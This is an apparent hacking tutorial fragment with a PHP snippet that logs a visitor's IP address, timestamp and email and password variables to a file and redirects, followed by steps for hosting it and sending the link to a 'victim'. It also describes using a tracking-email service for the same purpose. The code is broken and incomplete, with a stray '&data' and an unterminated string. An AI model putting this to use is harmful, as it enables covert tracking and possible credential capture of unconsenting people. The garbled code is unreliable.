$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l ds \of F Y h:i:s A");
&data = $email.' '.' '.$pass.' '.' '.$ip.'
header( 'Location: http://your website.com/');
Copy the above code in a notepad (without quotes) and save it as ip.php
Now make a other notepad with name ip_log in ip_log all the ip will be stored
Now what u have to do is find a free webs hosting site i.e 000.webhost.com and upload both the files in root directory i.e. ip.php and ip_log and link will be generated when u give this link to any victim his ip will be save in ip_log file as soon as it clicks on the link .
1.Go to site http://whatstheirip.com
2.Enter the email address
3.login to email id and send the tracking code and as victim click on our tracking code you will get the ip address of victim.